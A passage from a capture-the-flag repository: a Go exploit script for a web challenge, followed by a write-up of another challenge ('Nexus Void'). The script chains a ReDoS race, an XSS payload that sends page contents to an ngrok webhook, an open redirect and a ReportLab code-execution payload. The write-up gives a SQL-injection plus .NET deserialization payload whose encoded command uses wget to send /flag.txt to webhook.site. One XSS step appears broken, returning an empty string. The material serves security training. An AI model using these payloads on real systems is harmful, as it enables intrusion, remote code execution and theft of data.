| data := url.Values{ 59 | "username": {username}, 60 | "password": {password}, 61 | "email": {redos}, 62 | } 63 | 64 | client := &http.Client{ 65 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 66 | return http.ErrUseLastResponse 67 | }, 68 | } 69 | _, err := client.PostForm(CHALLENGE_URL+"/phantomfeed/register", data) 70 | if err != nil { 71 | fmt.Println("Error making registration request:", err) 72 | } 73 | } 74 | 75 | func loginUser(username, password string, wg *sync.WaitGroup) { 76 | defer wg.Done() 77 | var loginWg sync.WaitGroup 78 | 79 | fmt.Println("[+] triggering race condition via reDOS...") 80 | 81 | for i := 0; i < 100; i++ { 82 | loginWg.Add(1) 83 | 84 | data := url.Values{ 85 | "username": {username}, 86 | "password": {password}, 87 | } 88 | 89 | go func() { 90 | defer loginWg.Done() 91 | client := &http.Client{ 92 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 93 | return http.ErrUseLastResponse 94 | }, 95 | } 96 | resp, err := client.PostForm(CHALLENGE_URL+"/phantomfeed/login", data) 97 | if err != nil { 98 | fmt.Println("Error making login request:", err) 99 | return 100 | } 101 | 102 | if resp.StatusCode == http.StatusFound { 103 | cookie = resp.Header.Get("Set-Cookie") 104 | fmt.Println("[+] race condition found, generating jwt token...") 105 | } 106 | }() 107 | } 108 | 109 | loginWg.Wait() 110 | } 111 | 112 | func extractToken(cookieString string) (string, error) { 113 | cookieEntries := strings.Split(cookieString, ";") 114 | 115 | for _, entry := range cookieEntries { 116 | entry = strings.TrimSpace(entry) 117 | if strings.HasPrefix(entry, "token=") { 118 | token := strings.TrimPrefix(entry, "token=") 119 | return token, nil 120 | } 121 | } 122 | 123 | return "", fmt.Errorf("Token not found in the cookie string") 124 | } 125 | 126 | func createAuthCode(token string, xss string) (string, error) { 127 | endpointURL := fmt.Sprintf("%s/phantomfeed/oauth2/code?client_id=%s&redirect_url=%s", CHALLENGE_URL, CLIENT_ID, xss) 128 | 129 | cookie := &http.Cookie{ 130 | Name: "token", 131 | Value: token, 132 | } 133 | 134 | client := &http.Client{ 135 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 136 | return http.ErrUseLastResponse 137 | }, 138 | } 139 | 140 | req, err := http.NewRequest("GET", endpointURL, nil) 141 | if err != nil { 142 | fmt.Printf("Error creating request: %s\n", err) 143 | return "", err 144 | } 145 | 146 | req.AddCookie(cookie) 147 | 148 | resp, err := client.Do(req) 149 | if err != nil { 150 | fmt.Printf("Error making GET request: %s\n", err) 151 | return "", err 152 | } 153 | defer resp.Body.Close() 154 | 155 | body, err := ioutil.ReadAll(resp.Body) 156 | if err != nil { 157 | fmt.Printf("Error reading response body: %s\n", err) 158 | return "", err 159 | } 160 | 161 | if resp.StatusCode != http.StatusSeeOther { 162 | return "", err 163 | } 164 | 165 | authorizationCode := extractAuthorizationCode(string(body)) 166 | if authorizationCode != "" { 167 | fmt.Println("[+] generated oauth2 authorization code") 168 | return authorizationCode, nil 169 | } else { 170 | fmt.Println("Failed to parse authorization code from the response.") 171 | return "", err 172 | } 173 | 174 | } 175 | 176 | func extractAuthorizationCode(input string) string { 177 | regex := regexp.MustCompile(`authorization_code=([A-Za-z0-9]+)`) 178 | 179 | match := regex.FindStringSubmatch(input) 180 | 181 | if len(match) != 2 { 182 | return "" 183 | } 184 | 185 | authorizationCode := match[1] 186 | 187 | return authorizationCode 188 | } 189 | 190 | func createXSS() string { 191 | jsPayload := "fetch(`" + WEBHOOK_URL + "?c=${btoa(document.documentElement.outerHTML)}`,{mode:'cors'})" 192 | encodedPayload := base64.RawURLEncoding.EncodeToString([]byte(jsPayload)) 193 | urlEncodedString := url.QueryEscape("") 194 | fmt.Println("[+] created xss payload: " + urlEncodedString) 195 | return urlEncodedString 196 | } 197 | 198 | func createOpenRedirect(authorizationCode string, xss string) string { 199 | encodedString := "///127.0.0.1:1337/phantomfeed/oauth2/token?authorization_code=" + authorizationCode + "&client_id=" + CLIENT_ID + "&redirect_url=" + xss 200 | fmt.Println("[+] created xss embeded open redirect payload: " + encodedString) 201 | return encodedString 202 | } 203 | 204 | func createPost(token string, marketLink string) { 205 | fmt.Println("[+] creating malicious post and triggering open redirect...") 206 | 207 | client := &http.Client{ 208 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 209 | return http.ErrUseLastResponse 210 | }, 211 | } 212 | 213 | cookie := &http.Cookie{ 214 | Name: "token", 215 | Value: token, 216 | } 217 | 218 | data := url.Values{ 219 | "content": []string{"test"}, 220 | "market_link": []string{marketLink}, 221 | } 222 | 223 | body := strings.NewReader(data.Encode()) 224 | 225 | req, err := http.NewRequest("POST", CHALLENGE_URL+"/phantomfeed/feed", body) 226 | if err != nil { 227 | return 228 | } 229 | 230 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 231 | req.AddCookie(cookie) 232 | 233 | resp, err := client.Do(req) 234 | if err != nil { 235 | return 236 | } 237 | defer resp.Body.Close() 238 | } 239 | 240 | func reportLabRCE(cmd string) string { 241 | rce := "[ [ getattr(pow,Word('__globals__'))['os'].system('" + cmd + "') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'" 242 | fmt.Println("[+] generated reportlab rce payload: " + rce) 243 | return rce 244 | } 245 | 246 | func getPDF(token string, cmd string) { 247 | fmt.Println("[+] triggering reportlab rce via pdf...") 248 | 249 | client := &http.Client{} 250 | 251 | payload := fmt.Sprintf("color=%s", reportLabRCE(cmd)) 252 | 253 | req, err := http.NewRequest("POST", CHALLENGE_URL+"/backend/orders/html", bytes.NewBufferString(payload)) 254 | if err != nil { 255 | fmt.Println("Error creating request:", err) 256 | return 257 | } 258 | 259 | req.Header.Set("Authorization", "Bearer "+token) 260 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 261 | 262 | resp, err := client.Do(req) 263 | if err != nil { 264 | fmt.Println("Error sending request:", err) 265 | return 266 | } 267 | defer resp.Body.Close() 268 | } 269 | 270 | func getFlag() string { 271 | response, err := http.Get(CHALLENGE_URL + "/phantomfeed/static/flag.txt") 272 | if err != nil { 273 | fmt.Println("Error:", err) 274 | return "" 275 | } 276 | defer response.Body.Close() 277 | 278 | if response.StatusCode != http.StatusOK { 279 | fmt.Println("Error: Status code", response.StatusCode) 280 | return "" 281 | } 282 | 283 | bodyBytes, err := ioutil.ReadAll(response.Body) 284 | if err != nil { 285 | fmt.Println("Error:", err) 286 | return "" 287 | } 288 | 289 | responseBody := string(bodyBytes) 290 | 291 | return responseBody 292 | } 293 | 294 | func run(ctx context.Context) error { 295 | tun, err := ngrok.Listen(ctx, 296 | config.HTTPEndpoint(), 297 | ngrok.WithAuthtokenFromEnv(), 298 | ) 299 | if err != nil { 300 | return err 301 | } 302 | 303 | WEBHOOK_URL = tun.URL() 304 | 305 | return http.Serve(tun, http.HandlerFunc(handler)) 306 | } 307 | 308 | func handler(w http.ResponseWriter, r *http.Request) { 309 | queryParams := r.URL.Query() 310 | dataParam := queryParams.Get("c") 311 | parts := strings.Split(dataParam, " ") 312 | 313 | thirdElement := parts[2] 314 | decodedBytes, err := base64.RawStdEncoding.DecodeString(thirdElement) 315 | if err != nil { 316 | fmt.Println("Error decoding base64:", err) 317 | return 318 | } 319 | 320 | decodedString := string(decodedBytes) 321 | 322 | re := regexp.MustCompile(`"access_token":\s*"([^"]+)"`) 323 | 324 | match := re.FindStringSubmatch(decodedString) 325 | 326 | if len(match) >= 2 { 327 | accessToken := match[1] 328 | leakedTokenResponse = accessToken 329 | fmt.Println(accessToken) 330 | fmt.Println("[+] leaked access token") 331 | } else { 332 | fmt.Println("Access Token not found") 333 | } 334 | } 335 | 336 | func main() { 337 | go run(context.Background()) 338 | 339 | username, err := generateRandomHex(12) 340 | if err != nil { 341 | fmt.Println("Error generating username:", err) 342 | return 343 | } 344 | 345 | password, err := generateRandomHex(12) 346 | if err != nil { 347 | fmt.Println("Error generating password:", err) 348 | return 349 | } 350 | 351 | var wg sync.WaitGroup 352 | wg.Add(2) 353 | 354 | go registerUser(username, password, &wg) 355 | go loginUser(username, password, &wg) 356 | 357 | wg.Wait() 358 | 359 | token, err := extractToken(cookie) 360 | if err != nil { 361 | fmt.Println("Error extracting token:", err) 362 | return 363 | } 364 | 365 | xss := createXSS() 366 | authorizationCode, err := createAuthCode(token, xss) 367 | if err != nil { 368 | fmt.Println("Error creating auth code:", err) 369 | return 370 | } 371 | 372 | openRedirect := createOpenRedirect(authorizationCode, xss) 373 | createPost(token, openRedirect) 374 | 375 | getPDF(leakedTokenResponse, "cp /flag* /app/phantom-feed/application/static/flag.txt") 376 | 377 | flag := getFlag() 378 | fmt.Println(flag) 379 | } 380 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Nexus Void 6 | 7 | ​ 19th Oct 2023 / Document No. D23.xx.xx 8 | 9 | ​ Prepared By: Xclow3n 10 | 11 | ​ Challenge Author(s): Xclow3n 12 | 13 | ​ Difficulty: Medium 14 | 15 | ​ Classification: Official 16 | 17 | 18 | 19 | 20 | 21 | ## Description 22 | 23 | - Disturbingly, a group of malicious individuals has initiated the sale of a dangerous weapon created using 'Serum XY' on the black market, with the intention of unleashing chaos by turning people into zombies. Is it possible for you to employ your hacking skills to dismantle this black market operation and prevent the weapon from falling into the wrong hands? 24 | 25 | # Synopsis 26 | 27 | * The challenge involves exploiting dotnet deserialization via SQL Injection 28 | 29 | ## Skills Required 30 | 31 | * HTTP requests interception via proxy tools, e.g., Burp Suite / OWASP ZAP. 32 | 33 | * Understanding of dotnet. 34 | 35 | 36 | ## Skills Learned 37 | 38 | * Basic understanding of SQL Injection. 39 | 40 | * Basic understanding of serialization and deserialization. 41 | 42 | 43 | # Application overview: 44 | 45 | Visiting the application homepage displays the following authentication page: 46 | 47 | ![](./assets/auth.png) 48 | 49 | After registering and logging in, we get the following dashboard: 50 | 51 | ![img](./assets/dash.png) 52 | 53 | We can add products to wishlist and remove products from wishlist: 54 | 55 | ![img](./assets/wish.png) 56 | 57 | We can update our username on the settings page: 58 | 59 | ![img](assets/set.png) 60 | 61 | That's all the functionality that the application has. Let's take a look at the source code. 62 | 63 | 64 | 65 | ### Source Code Review 66 | 67 | ### SQL Injection 68 | 69 | ```c++ 70 | [HttpPost] 71 | public IActionResult Create(UserModel userModel) 72 | { 73 | if (string.IsNullOrEmpty(userModel.username) || string.IsNullOrEmpty(userModel.password)) 74 | { 75 | ViewData["Message"] = "Username and Password cannot be empty!"; 76 | return View(); 77 | } 78 | string checkUserSqlQuery = $"SELECT * FROM Users WHERE username='{userModel.username}'"; 79 | var result = _db.Users.FromSqlRaw(checkUserSqlQuery).FirstOrDefault(); 80 | 81 | if (result == null) 82 | { 83 | string sqlQuery = $"INSERT INTO Users(username, password) VALUES('{userModel.username}','{userModel.password}')"; 84 | _db.Database.ExecuteSqlRaw(sqlQuery); 85 | 86 | ViewData["Message"] = "User registered! Please login"; 87 | return View(); 88 | } 89 | ViewData["Message"] = "User Already Exists!"; 90 | return View(); 91 | } 92 | 93 | [HttpPost] 94 | public IActionResult Index(UserModel userModel) 95 | { 96 | string sqlQuery = $"SELECT * FROM Users WHERE username='{userModel.username}' AND password='{userModel.password}'"; 97 | 98 | var result = _db.Users.FromSqlRaw(sqlQuery).FirstOrDefault(); 99 | 100 | if (result != null) 101 | { 102 | JWTHelper jwt = new JWTHelper(_configuration); 103 | string jwtToken = jwt.GenerateJwtToken(result.username, result.ID.ToString()); 104 | Response.Cookies.Append("Token", jwtToken); 105 | Response.Redirect("/home/"); 106 | } 107 | 108 | ViewData["Error"] = "Invalid Credentials!"; 109 | return View(); 110 | } 111 | ``` 112 | 113 | The login and register functions are vulnerable to SQL Injection since the application doesn't sanitize user input or use prepared statements. 114 | Once the user provides the correct username and password, the application creates a JWT token using the username and redirects the user to `/home`, aka dashboard. 115 | 116 | ### Insecure Deserialization 117 | 118 | ```C++ 119 | [HttpGet] 120 | public IActionResult Wishlist() 121 | { 122 | string ID = HttpContext.Items["ID"].ToString(); 123 | 124 | string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID='{ID}'"; 125 | var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault(); 126 | 127 | if (wishlist != null && !string.IsNullOrEmpty(wishlist.data)) 128 | { 129 | List products = SerializeHelper.Deserialize(wishlist.data); 130 | return View(products); 131 | } 132 | else 133 | { 134 | List products = null; 135 | return View(products); 136 | } 137 | } 138 | ``` 139 | 140 | The wishlist endpoint gets serialized input from the database and deserializes it. This is interesting. Let's check how the application is serializing the data. 141 | 142 | Taking a look at `SerializeHelper.cs` 143 | 144 | ```C++ 145 | namespace Nexus_Void.Helpers 146 | { 147 | public class SerializeHelper 148 | { 149 | public static string Serialize(List list) 150 | { 151 | string serializedResult = JsonConvert.SerializeObject(list, new JsonSerializerSettings 152 | { 153 | TypeNameHandling = TypeNameHandling.All 154 | }); 155 | 156 | string encodedData = EncodeHelper.Encode(serializedResult); 157 | return encodedData; 158 | } 159 | 160 | public static List Deserialize(string str) 161 | { 162 | string decodedData = EncodeHelper.Decode(str); 163 | 164 | var deserialized = JsonConvert.DeserializeObject(decodedData, new JsonSerializerSettings 165 | { 166 | TypeNameHandling = TypeNameHandling.All 167 | }); 168 | 169 | List products = deserialized as List; 170 | 171 | return products; 172 | } 173 | } 174 | } 175 | ``` 176 | 177 | The application uses `JsonConvert` to serialize data with `TypeNameHandling.All` options are set, which is not a good idea as described [here](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca2326). 178 | 179 | Let's examine how products are added to the product wishlist. 180 | 181 | ```C++ 182 | [HttpPost] 183 | public IActionResult Wishlist(string name, string sellerName) 184 | { 185 | string ID = HttpContext.Items["ID"].ToString(); 186 | 187 | string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID={ID}"; 188 | var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault(); 189 | 190 | string sqlQueryProduct = $"SELECT * from Products WHERE name='{name}' AND sellerName='{sellerName}'"; 191 | var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault(); 192 | 193 | if(!string.IsNullOrEmpty(product.name)) 194 | { 195 | if (wishlist != null && !string.IsNullOrEmpty(wishlist.data)) 196 | { 197 | List products = SerializeHelper.Deserialize(wishlist.data); 198 | ProductModel result = products.Find(x => x.name == product.name); 199 | 200 | if (result != null) 201 | { 202 | return Content("Product already exists"); 203 | } 204 | 205 | products.Add(product); 206 | 207 | string serializedData = SerializeHelper.Serialize(products); 208 | 209 | string sqlQueryAddWishlist = $"UPDATE Wishlist SET data='{serializedData}' WHERE ID={ID}"; 210 | 211 | _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist); 212 | 213 | } 214 | else 215 | { 216 | string username = HttpContext.Items["username"].ToString(); 217 | 218 | List wishListProducts = new List(); 219 | 220 | wishListProducts.Add(product); 221 | 222 | string serializedData = SerializeHelper.Serialize(wishListProducts); 223 | 224 | string sqlQueryAddWishlist = $"INSERT INTO Wishlist(ID, username, data) VALUES({ID},'{username}', '{serializedData}')"; 225 | 226 | _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist); 227 | } 228 | 229 | return Content("Added"); 230 | } 231 | 232 | return Content("Invalid"); 233 | } 234 | ``` 235 | 236 | The wishlist functionality works in the following order: 237 | 238 | **Accessing Request Information:** 239 | 240 | - `string ID = HttpContext.Items["ID"].ToString();`: Retrieves the value associated with the "ID" key from the `HttpContext.Items` collection. 241 | 242 | **Database Queries:** 243 | 244 | - Uses Entity Framework Core to query the database. 245 | - Fetches a Wishlist and a Product based on the provided parameters (`name` and `sellerName`) and the extracted `ID`. 246 | 247 | **Wishlist and Product Handling:** 248 | 249 | - Checks if the retrieved product exists (`!string.IsNullOrEmpty(product.name)`). 250 | - If the product exists: 251 | - Checks if a Wishlist exists and has data. 252 | - Deserialize existing Wishlist data, searches for the product, and returns "Product already exists" if found. 253 | - Adds the product to the Wishlist, serializes the updated Wishlist, and updates the database. 254 | - If the product does not exist: 255 | - Retrieves the username from `HttpContext.Items`. 256 | - Creates a new Wishlist with the product, serializes it, and inserts it into the database. 257 | 258 | 259 | 260 | The application uses username and ID, which are set in JWT when logging in, and the login functionality is vulnerable to SQL Injection, which means we can return any value we want and insert malicious serialized data in the database as the wishlist, but what we can we achieve we the deserialization since we can only call to invoke setter methods. 261 | 262 | Taking a look at `StatusCheckHelper.cs` 263 | 264 | ```c++ 265 | namespace Nexus_Void.Helpers 266 | { 267 | public class StatusCheckHelper 268 | { 269 | public string output { get; set; } 270 | 271 | private string _command; 272 | 273 | public string command 274 | { 275 | get { return _command; } 276 | 277 | set 278 | { 279 | _command = value; 280 | try 281 | { 282 | var p = new System.Diagnostics.Process(); 283 | 284 | var processStartInfo = new ProcessStartInfo() 285 | { 286 | WindowStyle = ProcessWindowStyle.Hidden, 287 | FileName = $"/bin/bash", 288 | WorkingDirectory = "/tmp", 289 | Arguments = $"-c \"{_command}\"", 290 | RedirectStandardOutput = true, 291 | RedirectStandardError = true, 292 | UseShellExecute = false 293 | }; 294 | p.StartInfo = processStartInfo; 295 | p.Start(); 296 | 297 | output = p.StandardOutput.ReadToEnd(); 298 | } 299 | catch 300 | { 301 | output = "Something went wrong!"; 302 | } 303 | 304 | } 305 | } 306 | } 307 | } 308 | 309 | ``` 310 | 311 | We can use the following payload to invoke this setter method 312 | 313 | ```json 314 | {"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","output":null,"command":"[COMMAND]"} 315 | ``` 316 | 317 | and use the logging payload as `username` 318 | 319 | ```sql 320 | herox' UNION SELECT ALL 8,"herox','eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsIm91dHB1dCI6bnVsbCwiY29tbWFuZCI6IndnZXQgaHR0cHM6Ly93ZWJob29rLnNpdGUvMTVhYTA2ZjgtZWU0Zi00OTdjLTlmMTYtMjJhYjRhMzBmYTljP3g9JChjYXQgL2ZsYWcudHh0KSJ9')--", "herox"-- 321 | ``` 322 | 323 | the base64 encoded string is the payload here. We can use the payload while logging in so the application uses this value as username in our JWT token 324 | 325 | ```bash 326 | herox','eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsIm91dHB1dCI6bnVsbCwiY29tbWFuZCI6IndnZXQgaHR0cHM6Ly93ZWJob29rLnNpdGUvMTVhYTA2ZjgtZWU0Zi00OTdjLTlmMTYtMjJhYjRhMzBmYTljP3g9JChjYXQgL2ZsYWcudHh0KSJ9')-- 327 | ``` 328 | 329 | And when adding an product to wish it will use the username from our JWT token and since its vulnerable to SQL Injection it will insert our malicious serialized data in the table, and visiting wishlist page will trigger it. 330 | 331 | ![img](assets/flag.png) 332 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/auth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/auth.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/dash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/dash.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/flag.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/set.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/set.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Medium] Nexus Void/assets/wish.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/wish.png --------------------------------------------------------------------------------